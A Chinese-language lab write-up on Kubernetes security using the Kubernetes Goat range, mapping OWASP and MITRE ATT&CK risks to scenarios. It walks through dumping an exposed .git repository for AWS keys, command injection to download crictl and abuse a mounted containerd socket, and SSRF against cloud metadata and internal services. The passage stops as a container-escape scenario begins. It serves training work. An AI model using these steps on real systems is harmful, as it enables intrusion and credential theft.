k8s云原生安全攻防实践


在《云安全攻防入门》一文中,主要介绍了云计算的基本概念以及云原生相关的基础知识,在《k8s云原生攻防靶场》 一文主要介绍了k8s云原生攻防相关靶场和搭建方法。

本文主要基于KubernetesGoat靶场开展云原生安全的研究及相关实践。

一、OWASP Kubernetes Top 10

OWASP Kubernetes十大安全风险框架是一套专为安全从业者、系统管理员和软件开发人员设计的指南,旨在帮助识别和优先处理Kubernetes生态系统中特有的安全威胁。该十大风险清单提供了一个经过优先级排序的全面安全风险集合,通过解决这些关键风险,能够有效保障应用和基础设施的安全性与稳定性。遵循OWASP Kubernetes十大安全风险框架的指导原则,组织可以更好地保护其系统安全,防范潜在的安全漏洞。

OWASP Kubernetes十大安全风险框架与Kubernetes Goat是绝佳的搭配,该框架完整列出了Kubernetes集群中最关键的安全风险清单。通过将OWASP框架的知识点应用到Kubernetes Goat实验环境中,用户能够通过实战演练掌握识别和修复潜在安全漏洞的实践技能。

1.1 K01 - Insecure Workload Configurations

Kubernetes 清单包含影响工作负载可靠性、安全性和可扩展性的配置。定期审计和修复非常重要。

具有高影响的配置包括:

  • 应用程序进程不应以 root 身份运行

  • 应使用只读文件系统

  • 应禁止特权容器

相关goat场景

参考:https://owasp.org/www-project-kubernetes-top-ten/2022/en/src/K01-insecure-workload-configurations

1.2 K02 - Supply Chain Vulnerabilities

容器在开发生命周期供应链中发挥着至关重要的作用,并在各个阶段以不同形式存在。由于每个容器可能依赖于数百个第三方组件和依赖项,因此每个容器都呈现出独特的安全挑战,这使得在每个阶段建立信任变得困难。

容器带来的主要安全挑战包括但不限于以下几点:

  • 镜像完整性:确保容器镜像未受到未经授权或恶意的修改。
  • 镜像组成:识别并验证容器镜像中包含的所有组件和依赖项。
  • 已知软件漏洞:减轻容器镜像中使用的软件组件所发现的漏洞所带来的风险。

相关goat场景:

参考:https://owasp.org/www-project-kubernetes-top-ten/2022/en/src/K02-supply-chain-vulnerabilities

1.3 K03 - Overly Permissive RBAC

基于角色的访问控制(RBAC)是 Kubernetes 中的主要授权机制,用于为资源提供权限。RBAC 权限将动词(如获取、创建、删除等)与资源(如 Pod、服务和节点)相结合。这些权限可以是命名空间作用域或集群作用域的。

相关goat场景:

参考:https://owasp.org/www-project-kubernetes-top-ten/2022/en/src/K03-overly-permissive-rbac

1.4 K04 - Lack of Centralized Policy Enforcement

跨多个Kubernetes集群和环境管理安全策略可能具有挑战性。如果没有一个集中化的位置来检测、修复和防止配置错误,集群可能会面临被攻破的风险。为了确保一致的安全态势,应在软件交付生命周期的各个阶段实施策略强制执行。

这包括在构建阶段应用策略以确保容器镜像符合安全要求,在部署阶段验证应用程序的期望状态是否符合安全策略,以及在运行时持续确保合规性。通过在以上各阶段实施策略执行,组织能够确保 Kubernetes 工作负载在所有集群和环境中的安全性与合规性。这种方法为跨多集群/多云基础设施应用治理、合规性和安全要求提供了一种途径,而不会因难以管理的复杂性让安全团队不堪重负。

相关goat场景:

参考:https://owasp.org/www-project-kubernetes-top-ten/2022/en/src/K04-policy-enforcement

1.5 K05 - Inadequate Logging and Monitoring

Kubernetes环境具备在不同层级以及所有相关组件中创建日志的能力。当未对异常事件(如认证失败尝试、访问敏感资源、手动删除或修改Kubernetes资源等)进行日志监控,未设置告警阈值,未集中存储日志,或者禁用日志基础设施时,就会成为一个问题。

相关goat场景:

参考:https://owasp.org/www-project-kubernetes-top-ten/2022/en/src/K05-inadequate-logging

1.6 K06 - Broken Authentication Mechanisms

Kubernetes 提供了高度灵活的认证机制,使其能够在各种环境中有效运行。然而,这种灵活性在集群和云安全态势方面也带来了挑战。要访问 Kubernetes API,多个实体需要进行认证。Kubernetes API 的认证过程通过 HTTP 请求完成,并且可能因集群而异。如果请求无法通过认证,将会以 HTTP 401 状态码被拒绝。通常,人类用户认证或服务账户认证被用于对 Kubernetes API 进行认证。

相关goat场景:

参考:https://owasp.org/www-project-kubernetes-top-ten/2022/en/src/K06-broken-authentication

1.7 K07 - Missing Network Segmentation Controls

在管理多个微服务和租户时,Kubernetes 网络流量控制是一个主要问题。扁平的网络结构允许工作负载不受限制地进行通信,这可能被攻击者利用来探测和遍历内部网络或调用私有 API。

相关goat场景:

参考:https://owasp.org/www-project-kubernetes-top-ten/2022/en/src/K07-network-segmentation

1.8 K08 - Secrets Management Failures

Kubernetes Secrets用于存储小型对象,其创建方式与其他Kubernetes对象相同。这些Secrets在.yaml清单文件中定义,用于编码用户名和密码等敏感数据。然而,这些值默认是编码而非加密的,可以轻松解码,因此将Secrets纳入版本控制系统或其他系统存在风险。

相关goat场景

参考:https://owasp.org/www-project-kubernetes-top-ten/2022/en/src/K08-secrets-management

1.9 K09 - Misconfigured Cluster Components

Kubernetes关键组件的配置错误可能会导致整个集群被攻破,甚至造成更严重的后果。Kubernetes控制平面和节点由各种可能容易配置错误的组件组成,例如kubelet、etcd、kube-apiserver等。

相关goat场景

参考:https://owasp.org/www-project-kubernetes-top-ten/2022/en/src/K09-misconfigured-cluster-components

1.10 K10 - Outdated and Vulnerable Kubernetes Components

在传统补丁和漏洞管理方面,Kubernetes 集群可能会面临挑战。ArgoCD、Kubernetes 本身以及 Istio 等常用工具中的配置错误已导致严重的 CVE(常见漏洞和披露)。

  • ArgoCD 存在解析漏洞,攻击者可借此加载恶意 Helm Chart 并访问敏感信息。
  • ingress-nginx 曾存在一个 CVE 漏洞,允许用户获取集群中的所有密钥,而这一问题无法仅通过升级版本来解决。
  • Istio 存在一个认证绕过漏洞,使得未经授权的用户可以访问受保护的路径。

为确保多个集群的安全,维护准确的清单并在各环境中保持最低 Kubernetes 版本至关重要。

相关goat场景

参考:https://owasp.org/www-project-kubernetes-top-ten/2022/en/src/K09-misconfigured-cluster-components

二、MITRE ATT&CK 与Goat

MITRE ATT&CK®(对抗战术、技术与通用知识)框架是一个基于现实观察的全球可访问的对手战术和技术知识库。在本框架中,涵盖了战术、技术和程序(TTPs),以映射Kubernetes安全风险以及相关的Kubernetes Goat场景。

Initial Access Execution Persistence Privilege Escalation Defense Evasion Credential Access Discovery Lateral Movement Collection Impact
Using Cloud credentials Exec into container Backdoor container Privileged container Clear container logs List K8S secrets Access the K8S API server Access cloud resources Images from a private registry Data Destruction
Compromised images in registry bash/cmd inside container Writable hostPath mount Cluster-admin binding Delete K8S events Mount service principal Access Kubelet API Container service account Resource Hijacking
Kubeconfig file New container Kubernetes CronJob hostPath mount Pod / container name similarity Access container service account Network mapping Cluster internal networking Denial of service
Application vulnerability Application exploit (RCE) Malicious admission controller Access cloud resources Connect from Proxy server Applications credentials in configuration files Access Kubernetes dashboard Applications credentials in configuration files
Exposed Dashboard SSH server running inside container Access managed identity credential Instance Metadata API Writable volume mounts on the host
Exposed sensitive interfaces Sidecar injection Malicious admission controller Access Kubernetes dashboard
Access tiller endpoint
CoreDNS poisoning
ARP poisoning and IP spoofing

2.1 Initial Access

初始访问策略包括用于获取资源访问权限的技术。在容器化环境中,这些技术能够实现对集群的首次访问。这种访问可以通过集群管理层直接实现,或者通过获取对部署在集群上的恶意或易受攻击资源的访问权限来间接实现。

🧰 Techniques 🐐 Kubernetes Goat Scenarios
Using cloud credentials
Compromised image in registry ⎈ Attacking private registry
Kubeconfig file
Application vulnerability ⎈ SSRF in the Kubernetes (K8S) world ⎈ DIND (docker-in-docker) exploitation
Exposed sensitive interfaces ⎈ NodePort exposed services

2.2 Execution

执行策略包括攻击者用于在集群内运行其代码的技术。

🧰 Techniques 🐐 Kubernetes Goat Scenarios
Exec into container ⎈ Gaining environment information
bash/cmd inside container ⎈ Gaining environment information
New container ⎈ Hacker container preview
Application exploit (RCE) ⎈ DIND (docker-in-docker) exploitation
SSH server running inside container
Sidecar injection

Sidecar injection

Sidecar模式是云原生架构中的一个常见设计模式,通常用于微服务架构中。Sidecar容器与主应用容器一起运行,负责处理诸如日志收集、监控、网络通信等横切关注点。常见的例子包括Istio中的Envoy代理,它作为Sidecar来处理服务网格中的流量管理、安全策略等。

Sidecar injection在网络安全领域的含义。这里可能涉及两个方面:一是正常的安全应用,比如通过Sidecar来实施安全策略;二是可能的安全威胁,比如恶意Sidecar注入攻击。

从安全应用的角度来看,Sidecar注入可以用于增强安全性。例如,服务网格中通过自动注入Sidecar代理来管理服务间的TLS加密通信,实施mTLS(双向TLS认证),进行流量监控和访问控制。此外,Sidecar还可以集成安全工具,如入侵检测系统(IDS)、Web应用防火墙(WAF),或者进行实时的漏洞扫描。

另一方面,Sidecar注入也可能带来安全风险。攻击者可能利用配置错误或漏洞,在未经授权的情况下注入恶意Sidecar容器。这种恶意容器可以窃取敏感数据、篡改流量,或者作为持久化后门。例如,如果集群的准入控制(Admission Control)配置不当,攻击者可能通过伪造的Pod配置注入恶意Sidecar,从而获取对网络流量的控制权。

2.3 Persistence

持久化策略包括攻击者在初始立足点丢失的情况下,用于保持对集群访问权限的技术。

🧰 Techniques 🐐 Kubernetes Goat Scenarios
Backdoor container ⎈ Analyzing crypto miner container
Writable hostPath mount ⎈ Container escape to the host system
Kubernetes CronJob ⎈ Hidden in layers
Malicious admission controller
Container service account [⎈ Helm v2 tiller to PwN the cluster - Deprecated] ⎈ RBAC least privileges misconfiguration
Static pods

2.4 Privilege Escalation

提权策略包括攻击者用来获取比其当前权限更高环境权限的技术。在容器化环境中,这可能包括从容器访问节点、在集群中获得更高权限,甚至访问云资源。

🧰 Techniques 🐐 Kubernetes Goat Scenarios
Privileged container ⎈ Container escape to the host system
Cluster-admin binding [⎈ Helm v2 tiller to PwN the cluster - Deprecated]
hostPath mount ⎈ Container escape to the host system
Access cloud resources ⎈ SSRF in the Kubernetes (K8S) world

2.5 Defense Evasion (防御规避)

防御规避策略包括攻击者用来避免被检测和隐藏其活动的技术。

🧰 Techniques 🐐 Kubernetes Goat Scenarios
Clear container logs ⎈ Container escape to the host system
Delete K8S events [⎈ Helm v2 tiller to PwN the cluster - Deprecated]
Pod / container name similarity ⎈ Hacker container preview
Connect from proxy server

2.6 Credential Access

凭据访问策略包括攻击者用来窃取凭据的技术。在容器化环境中,这包括运行应用程序的凭据、身份、存储在集群中的机密或云凭据。

🧰 Techniques 🐐 Kubernetes Goat Scenarios
List K8S secrets ⎈ RBAC least privileges misconfiguration
Mount service principal
Container service account ⎈ RBAC least privileges misconfiguration
Application credentials in configuration files
Access managed identity credentials
Malicious admission controller

2.7 Discovery

发现策略包括攻击者用来探索其已获得访问权限的环境的技术。这种探索有助于攻击者进行横向移动并获得对额外资源的访问权限。

🧰 Techniques 🐐 Kubernetes Goat Scenarios
Access Kubernetes API server ⎈ KubeAudit - Audit Kubernetes clusters
Access Kubelet API ⎈ Container escape to the host system
Network mapping ⎈ Kubernetes namespaces bypass
Exposed sensitive interfaces ⎈ Kubernetes namespaces bypass ⎈ NodePort exposed services
Instance Metadata API ⎈ SSRF in the Kubernetes (K8S) world

2.8 Lateral Movement

横向移动策略包括攻击者用来在受害者环境中移动的技术。在容器化环境中,这包括从对一个容器的给定访问权限中获得对集群中各种资源的访问权限,从容器获得对底层节点的访问权限,或获得对云环境的访问权限。

🧰 Techniques 🐐 Kubernetes Goat Scenarios
Access cloud resources ⎈ SSRF in the Kubernetes (K8S) world
Container service account
Cluster internal networking ⎈ Kubernetes namespaces bypass
Application credentials in configuration files
Writable hostPath mount ⎈ Container escape to the host system
CoreDNS poisoning
ARP poisoning and IP spoofing ⎈ Kubernetes namespaces bypass

2.9 Collection

在Kubernetes中,“收集”指的是攻击者用来从集群中收集数据或利用集群进行数据收集的技术手段。

🧰 Techniques 🐐 Kubernetes Goat Scenarios
Images from a private registry ⎈ Attacking private registry
Collecting data from pod ⎈ Gaining environment information

2.10 Impact

影响战术包括攻击者用来破坏、滥用或干扰环境正常行为的技术。

🧰 Techniques 🐐 Kubernetes Goat Scenarios
Data destruction ⎈ DIND (docker-in-docker) exploitation ⎈ Container escape to the host system
Resource hijacking ⎈ DoS the Memory/CPU resources
Denial of service ⎈ DoS the Memory/CPU resources

三、场景实践

3.1 Sensitive keys in codebases🌟

如何在代码库中查找敏感密钥。

3.1.1 场景介绍

此场景聚焦于开发人员和DevOps团队在打包组件和应用程序代码库时的一些常见错误。这些错误在现实世界中会产生影响,比如导致组织及其实际环境中的基础设施遭到破坏。

开发者往往会将敏感信息提交到版本控制系统中。随着我们向持续集成/持续交付(CI/CD)和 GitOps 系统迈进,我们往往会忘记识别代码和提交中的敏感信息。

实践目标:

  1. 如何测试 Web 应用程序入口点的安全配置错误。
  2. 打包应用程序和容器的常见错误或配置错误。
  3. 检测版本控制系统中代码库的敏感密钥和信息。
  4. 使用开源工具识别和检测机密信息。

图示:

3.1.2 场景访问

http://192.168.52.13:1230/

  • 识别代码库中可用的敏感密钥,包括应用程序代码、容器和基础设施。

  • 目标是获得 AWS 的 aws_access_key_id 和 aws_secret_access_key 以及 k8s-goat-FLAG flag。

3.1.3 方法一(分析.git历史分支)

阅读服务介绍可以判断是一个通过git发布的容器化应用。

  • dirsearch 目录扫描

执行目录扫描,可以确定该应用程序中暴露了一个 .git 文件夹。

(python3.9)  ~/dirsearch   master  python dirsearch.py -u http://192.168.52.13:1230/

  _|. _ _  _  _  _ _|_    v0.4.3
 (_||| _) (/_(_|| (_| )

Extensions: php, asp, aspx, jsp, html, htm | HTTP method: GET | Threads: 25 | Wordlist size: 12289

Target: http://192.168.52.13:1230/

[16:05:56] Scanning:
[16:05:59] 200 -   535B - /.git/index
[16:05:59] 200 -   240B - /.git/info/exclude
[16:06:00] 200 -    2KB - /.git/logs/HEAD
[16:06:00] 200 -    92B - /.git/config
[16:06:00] 200 -   263B - /.git/COMMIT_EDITMSG
[16:06:00] 200 -    23B - /.git/HEAD
[16:06:00] 200 -    2KB - /.git/logs/refs/heads/master
[16:06:00] 200 -    92B - /.gitconfig
[16:06:01] 200 -    73B - /.git/description
[16:06:03] 200 -    41B - /.git/refs/heads/master
[16:06:43] 200 -     4B - /ping

Task Completed
  • 克隆远程仓库

git-dumper

pip install git-dumper

无须克隆项目,直接pip安装即可。

使用开源工具(如git-dumper [https://github.com/arthaud/git-dumper])从远程网站在本地克隆该git仓库。

git-dumper http://192.168.52.13:1230/.git k8s-goat-git

我们可以通过查看日志和之前的提交历史来验证 Git 历史记录和信息。

git log
commit 905dcec070d86ce60822d790492d7237884df60a (HEAD -> master)
Author: Madhu Akula <madhu.akula@hotmail.com>
Date:   Fri Nov 6 23:42:28 2020 +0100

    Final release

commit 3292ff3bd8d96f192a9d4eb665fdd1014d87d3df
Author: Madhu Akula <madhu.akula@hotmail.com>
Date:   Fri Nov 6 23:40:59 2020 +0100

    Updated the docs

commit 7daa5f4cda812faa9c62966ba57ee9047ee6b577
Author: Madhu Akula <madhu.akula@hotmail.com>
Date:   Fri Nov 6 23:39:21 2020 +0100

    updated the endpoints and routes

commit d7c173ad183c574109cd5c4c648ffe551755b576
Author: Madhu Akula <madhu.akula@hotmail.com>
Date:   Fri Nov 6 23:31:06 2020 +0100

    Inlcuded custom environmental variables

commit bb2967a6f26fb59bf64031bbb14b4f3e233944ca
Author: Madhu Akula <madhu.akula@hotmail.com>
Date:   Fri Nov 6 23:28:33 2020 +0100

    Added ping endpoint

commit 599f377bde4c3c5c8dc0d7700194b5b2b0643c0b
Author: Madhu Akula <madhu.akula@hotmail.com>
Date:   Fri Nov 6 23:24:56 2020 +0100

    Basic working go server with fiber

commit 4dc0726a546f59e0f4cda837a07032c62ee137bf
Author: Madhu Akula <madhu.akula@hotmail.com>
Date:   Fri Nov 6 23:21:48 2020 +0100

    Initial commit with README

分析多个提交后,我们可以看到有一个特定的提交比较有趣,涉及到环境变量。

commit d7c173ad183c574109cd5c4c648ffe551755b576
Author: Madhu Akula <madhu.akula@hotmail.com>
Date:   Fri Nov 6 23:31:06 2020 +0100

    Inlcuded custom environmental variables
  • 切换到历史分支

我们可以使用以下命令并加上提交 ID 来检出该特定提交。

git checkout d7c173ad183c574109cd5c4c648ffe551755b576

现在我们处于特定的提交历史中,可以看到该特定提交中所有可用的文件、代码、资源和更改。我们可以使用标准的 Linux 工具来探索文件系统,查看是否有任何敏感的文件或更改。

  • 查看敏感信息

可以看到它包含了硬编码的AWS密钥以及flag。

3.1.4 方法二(假设获到pod/容器访问权限)

在某些情况下,我们可能通过审计流程合法获得Pod/容器访问权限,或是利用某些漏洞获取访问权,此时可以采用替代方案来解决或实现目标。

我们可以使用TruffleHog等开源工具在Git提交/历史记录中查找泄露的凭证,而不是手动分析。

TruffleHog

https://github.com/trufflesecurity/trufflehog

TruffleHog 是最强大的密钥发现、分类、验证和分析工具。在此语境中,密钥指的是机器用于向另一台机器进行身份验证的凭证。这包括 API 密钥、数据库密码、私钥加密密钥等等……

  • mac安装:
brew install trufflehog 
(base)~> which trufflehog
/usr/local/bin/trufflehog
  • 模拟进入pod
  • 通过TruffleHog自动分析敏感数据

同样可以看到它包含了硬编码的AWS密钥以及flag。

获取到AWS的访问密钥(aws_access_key_idaws_secret_access_key)后,黑客可以以该密钥所属的IAM用户或角色的权限执行任意操作。

3.2 DIND (docker-in-docker) exploitation

如何在容器中利用Docker IN Docker套接字逃逸访问宿主机。

DIND (docker-in-docker)

DIND(Docker-in-Docker)是一种在 Docker 容器内运行另一个 Docker 守护进程(Docker Daemon)的技术。这种模式通常用于需要在容器内部管理其他容器的场景(例如 CI/CD 流水线中的容器化构建环境),但它也带来了一些复杂性和潜在问题。

  • DIND 的核心原理
  1. 常规 Docker 架构
    • 宿主机(Host)上运行一个 Docker 守护进程(dockerd)。
    • 所有容器共享宿主机的 Docker 守护进程(通过 /var/run/docker.sock 通信)。
  2. DIND 架构
    • 在一个 Docker 容器内部运行独立的 Docker 守护进程
    • 该容器内的 Docker 守护进程与宿主机 Docker 守护进程完全隔离。
    • 容器内部的 Docker 客户端(docker CLI)会与容器内的 Docker 守护进程通信。
  • DIND 的常见用途
  1. CI/CD 流水线
    • 在容器化的构建环境中(如 GitLab Runner、Jenkins Agent),需要动态创建和管理其他容器。
    • 例如:在 GitLab CI 中构建 Docker 镜像并推送到镜像仓库。
  2. 多容器应用测试
    • 在容器内部启动一组嵌套容器,模拟复杂的多服务环境(如测试 Kubernetes 集群)。
  3. 容器化开发环境
    • 开发人员可以在容器内运行 Docker,而无需在宿主机上安装 Docker。
  • 如何实现 DIND?

方法 1:使用 docker:dind 官方镜像

Docker 官方提供了 docker:dind(Docker-in-Docker)镜像,启动容器时会自动运行内部的 Docker 守护进程。

方法 2:挂载宿主机 Docker 套接字(非 DIND)

虽然技术上不属于 DIND,但另一种常见模式是直接将宿主机的 Docker 套接字挂载到容器内(称为 Docker-outside-of-Docker, DooD)。

  • DIND 的潜在问题
  1. 性能开销
    • 嵌套容器会导致存储驱动(如 overlay2)的性能下降,尤其是涉及多层镜像构建时。
  2. 资源隔离
    • 容器内的 Docker 守护进程可能无法完全隔离资源(如网络、存储卷),导致冲突。
  3. 安全问题
    • 运行 Docker-in-Docker 通常需要容器以 --privileged 模式运行,存在安全风险。
    • 容器内的 Docker 守护进程可能被用于逃逸到宿主机。
  4. 存储卷管理
    • 容器内的 Docker 守护进程默认使用容器内的临时存储,重启后数据会丢失。

总结

DIND 是一种在容器内运行独立 Docker 守护进程的技术,适合需要严格隔离的场景,但会带来性能和安全风险。在实际应用中,应根据需求选择最简单安全的方案(如 DooD-Docker-outside-of-Docker 或专用工具)。

3.2.1 场景介绍

本场景重点解析通过容器运行时接口(如Docker.sock、containerd.sock)构建标准化系统与流水线的典型模式,这是一类通过挂载容器Socket直接操控底层运行时(创建/构建/运行容器)的攻击,自容器技术诞生初期便存在被攻击利用的安全隐患,且相关配置错误在生产环境中仍持续高频出现。

实践目标:

  1. 如何测试和利用容器UNIX套接字配置错误。
  2. 能够利用容器并从Docker容器中逃逸。
  3. 了解流水线和CI/CD构建系统中的常见配置错误。

图示:

当前主流CI/CD流水线系统普遍采用DIND(Docker-in-Docker)模式,通过绑定宿主机的/var/run/docker.sockUNIX套接字,直接调用底层容器运行时(如Docker daemon)执行容器构建操作。本攻击场景将演示如何利用该典型配置缺陷,实现从容器内部逃逸并获取Kubernetes工作节点(Worker Node)的宿主系统控制权。

3.2.2 场景访问

  • 此场景的目标是从正在运行的 Docker 容器中逃逸到运行该容器的宿主系统,并能够访问和对该节点上运行的其他容器执行操作。

3.2.3 实践[metarget-goat]

  • 命令注入漏洞

Linux命令执行方法

&、&&、|、||、;

  • 查看挂载信息

mount命令

“挂载”(Mount)是计算机系统(尤其是类 Unix 系统,如 Linux)中一个核心概念,简单来说,就是将一个存储设备或文件系统,“接入”到系统的目录树中,使其内容可以通过某个目录路径访问

在 Linux 系统中,mount 命令用于将存储设备(如硬盘、U盘、光盘)或虚拟文件系统(如 ISO 镜像、网络共享)挂载到目录树的某个位置(称为“挂载点”),使得用户可以通过该目录访问设备或文件系统的内容。

当在Linux中执行不带参数的mount命令时,系统会列出所有已挂载的文件系统。这包括各种设备、虚拟文件系统,比如proc、sysfs、tmpfs等,还有像/dev、/run这样的挂载点。

它会显示每个挂载设备的详细信息,包括设备路径、挂载点、文件系统类型、挂载选项等。

输出示例:

/dev/sda1 on / type ext4 (rw,relatime,errors=remount-ro)
tmpfs on /dev/shm type tmpfs (rw,nosuid,nodev)
proc on /proc type proc (rw,nosuid,nodev,noexec,relatime)
sysfs on /sys type sysfs (rw,nosuid,nodev,noexec,relatime)
/dev/sdb1 on /mnt/data type ext4 (rw,noatime)
...
  1. 设备/资源路径
    例如:/dev/sda1(硬盘分区)、tmpfs(内存文件系统)、proc(内核虚拟文件系统)。
  2. 挂载点(Mount Point)
    文件系统被挂载到的目录,例如 /(根目录)、/mnt/data
  3. 文件系统类型(Type)
    例如 ext4tmpfsprocntfsnfs 等。
  4. 挂载选项(Options)
    括号内的参数表示挂载时的选项,例如:
    • rw:读写模式。
    • ro:只读模式。
    • noexec:禁止执行挂载点中的程序。
    • relatime:优化文件访问时间更新。
    • nodev:忽略设备文件(如 /dev 中的硬件设备)。
tmpfs on /custom/containerd/containerd.sock type tmpfs (rw,nosuid,nodev,noexec,relatime)

tmpfs 是一种基于内存的临时文件系统,数据存储在内存中而非磁盘上,因此读写速度快,但系统重启后数据会丢失。

路径含义:将 tmpfs 挂载到 /custom/containerd/containerd.sock 这一路径。

我们可以看到 /custom/containerd/containerd.sock 已挂载到文件系统中,假设它是从主机系统挂载的,我们需要与它通信以通过 UNIX 套接字进行交互。

将宿主机的 containerd.sock(如 /run/containerd/containerd.sock)挂载到容器内的路径(如 /custom/containerd/containerd.sock),并设置为 tmpfs,可能会导致严重的安全风险。

核心风险:容器逃逸与权限滥用:1)创建特权容器逃逸到宿主机。2)操作宿主机上的其他容器。3)绕过资源隔离限制

  • 套接字通信

我们可以使用多种方法与 containerd.sock UNIX 套接字进行通信。其中一些方法包括使用 crictl 二进制工具,或者简单的 curl 程序。

1)查看系统类型:

&uname -a

ubuntu18.04.1 x86_64

2)下载套接字通信程序

接下来,我们可以从github https://github.com/kubernetes-sigs/cri-tools/releases 下载 crictl 静态二进制文件。

&wget https://github.com/kubernetes-sigs/cri-tools/releases/download/v1.27.1/crictl-v1.27.1-linux-amd64.tar.gz -O /tmp/crictl-v1.27.1.tar.gz

可以看到程序已经成功下载到tmp目录中,但是用ls -lh查看大小为0,实际上只下载了个文件,所以tar解压的时候会报错。

下载出错问题处理

  • 检测tar命令是否存在,可以看到是存在的
  • &tar -xvf /tmp/crictl-v1.27.1.tar.gz -C /tmp/执行时返回exit status 2错误,查看tmp目录,没有解压成功。
  • 排查是否是文件本身的问题&ls -lh /tmp/crictl-v1.27.1.tar.gz,执行之后返回
-rw-r--r-- 1 root root 0 May 13 07:20 /tmp/crictl-v1.27.1.tar.gz

文件 /tmp/crictl-v1.27.1.tar.gz 的大小为 0root root 0),这意味着文件 未被正确下载或写入,导致解压失败。

  • 在本地尝试用curl下载crictl-v1.27.1.tar.gz,是网络问题导致无法下载。
curl -L -o /tmp/crictl-v1.27.1-2.tar.gz https://github.com/kubernetes-sigs/cri-tools/releases/download/v1.27.1/crictl-v1.27.1-linux-amd64.tar.gz

返回 exit status 6。

遇到 curl 返回 exit status 6 错误时,通常表示 无法解析目标域名(DNS 解析失败或网络不通)。

但是baidu.com、github.com可以访问通,可以连接互联网。

且ip地址如下:

  • 下载其他版本
crictl-v1.33.0-linux-amd64.tar.gz
https://github.com/kuernetes-sigs/cri-tools/releases/download/v1.33.0/crictl-v1.33.0-linux-amd64.tar.gz

&wget https://github.com/kubernetes-sigs/cri-tools/releases/download/v1.33.0/crictl-v1.33.0-linux-amd64.tar.gz -O /tmp/crictl-v1.33.0-linux-amd64.tar.gz

执行之后会长时间延迟,可能正在下载文件。但还是会由于网络原因下载失败。

  • 将tar包放在局域网/vps上供下载
&wget http://192.168.52.13:8000/crictl-v1.33.0-linux-amd64.tar.gz -O /tmp/crictl-1.tar.gz

成功下载到crictl-1.tar.gz。

&curl -L -o /tmp/crictl-2.tar.gz http://192.168.52.13:8000/crictl-v1.33.0-linux-amd64.tar.gz

用curl也可以下载。

  • 3)解压crictl程序
&tar -xvf /tmp/crictl-1.tar.gz -C /tmp/
  • 4)操作宿主机docker守护进程
;/tmp/crictl -r unix:///custom/containerd/containerd.sock images
  • 显示为空可能原因是当前k8s正在占用docker socket。

正常情况下会看到宿主机的镜像文件,表明通过容器的挂载的socket操控了宿主机的docker守护进程。

3.3 SSRF in the Kubernetes (K8S) world

如何利用SSRF漏洞获取Kubernetes访问权限。

3.3.1 场景介绍

该场景旨在展示当前云环境中普遍存在的SSRF应用安全漏洞,探讨该漏洞如何影响Kubernetes集群、内部服务及微服务架构。此类漏洞对云原生环境具有重大影响,其中Shopify案例就是典型实例——Exchange系统中的SSRF漏洞最终导致攻击者获取了所有实例的ROOT权限。

SSRF漏洞逐渐成为云原生环境的首选攻击方法。在这个场景中,我们将看到如何利用SSRF等应用程序漏洞来访问云实例元数据以及内部服务元数据信息。特别是我们会看到Kubernetes原生功能的强大功能,如服务发现,可以获得其他内部微服务的访问。

实践目的:

  1. 如何在云环境下利用应用程序中的SSRF漏洞。
  2. 理解元数据查询特性以获得对云提供服务数据的访问。
  3. 理解和利用Kubernetes原生服务发现功能和服务DNS查询。
  4. 获得对集群环境内部微服务的访问权限。

3.3.2 场景访问

http://192.168.52.13:1232

目标:要完成此场景,需要在元数据secrets中获取k8s-goat-FLAG标志值。

3.3.3 实践

169.254.169.254地址:

169.254.169.254是动态配置的链路本地IPv4地址。它只在一个网段上有效,并且不能被路由。大多数云提供商使用此地址为实例提供计算元数据,包括AWS、GCP Azure、Digital Ocean等主要提供商。

  • 链路本地地址(Link-Local Address)

定义:链路本地地址是用于同一物理或虚拟网络段内通信的IP地址,无需手动配置或依赖DHCP服务器。这类地址属于169.254.0.0/16范围,由设备在无法获取IP时自动分配。

  • 特点:

不可路由:无法通过路由器访问其他网络,仅限本地网络使用。

动态分配:无需人工干预,适合临时或封闭环境。

  • 云服务中的特殊用途

元数据服务(Metadata Service)

1)功能:云服务器实例(如虚拟机)通过访问此地址,获取自身动态信息,例如:

  • 实例ID、主机名、区域等基础信息。

  • 临时安全凭证(如AWS的STS Token)。

  • 用户启动时注入的自定义脚本(User Data)。

  • 网络配置(公网IP、私有IP等)。

  • 访问方式:通过HTTP协议访问,例如:

curl http://169.254.169.254/latest/meta-data/

2)安全性

  • 仅限实例内部访问:外部网络或用户无法直接请求该地址,避免了敏感数据泄露。
  • 短暂性凭证:提供临时令牌而非长期密钥,降低安全风险。

我们可以使用169.254.169.254访问默认的实例元数据服务。我们还需要确定服务使用哪个云提供商来运行此计算,以便我们可以使用特定的头信息和查询。如果这不是托管在云提供商中,那么我们可以跳过它,并转移到内部服务查询,如其他微服务和Kubernetes集群中的内部服务。

  • 信息收集

我们可以从枚举和侦察开始,根据现有信息了解当前实例及其他网络中运行的服务。

我们还可以通过查询不同端口和地址来检查当前容器/Pod中是否运行着其他服务。让我们用 GET 方法查询同一容器中的 5000 端口 http://127.0.0.1:5000

可以通过SSRF漏洞看到当前容器正在运行某个Web服务并返回了HTTP响应。因此,我们现在掌握了更多数据/信息,可以进一步推进攻击,以获取Kubernetes网络服务内部的更深层访问权限。

  • 访问内部服务【以下内容在minikube-goat靶场无法复现,在metarget-goat靶场可以复现】

现在我们可以看到集群内部有一个仅限内部访问的服务叫做metadata-db,我们发起查询看看是否能获取更多有用信息http://metadata-db

在遍历完所有键值后,最终我们可以在http://metadata-db/latest/secrets/kubernetes-goat端点处发现一个标志。

我们可以对返回/获取的base64编码标志进行解码以查看信息

echo -n "azhzLWdvYXQtY2E5MGVmODVkYjdhNWFlZjAxOThkMDJmYjBkZjljYWI=" | base64 -d

flag:k8s-goat-ca90ef85db7a5aef0198d02fb0df9cab

最终成功通过ssrf访问到k8s集群内部的数据服务的数据。

3.4 Container escape to the host system❓

通过Kubernetes 中的容器逃逸来访问宿主机系统。

3.4.1 场景介绍

这个场景展示了Kubernetes、容器环境和一般安全领域中常见的配置错误和一个容易出错的安全问题。不必要的特权总是会让安全性更差,在容器和Kubernetes的世界中尤其如此。根据集群环境和资源的配置和设置,还可以将此场景应用到容器之外的其他系统和服务。这个场景围绕一个特权容器逃逸来访问主机系统。

实践目的:

1、能够利用容器并逃离docker容器。

2、了解如何测试和利用配置错误的容器和特权容器。

3、了解常见的错误配置以及它们对容器、Kubernetes和集群环境可能造成的破坏。

大多数监控、追踪和调试软件运行时都需要额外的权限和能力。在这个场景中,将看到一个具备特权的Pod,其中包括HostPath访问权限,这将使你能够访问主机系统,并通过节点级配置实现对整个集群的完全控制。

3.4.2 场景访问

http://192.168.52.13:1233/

目标:

  • 1)利用可用的错误配置逃逸出主机系统上正在运行的docker容器。
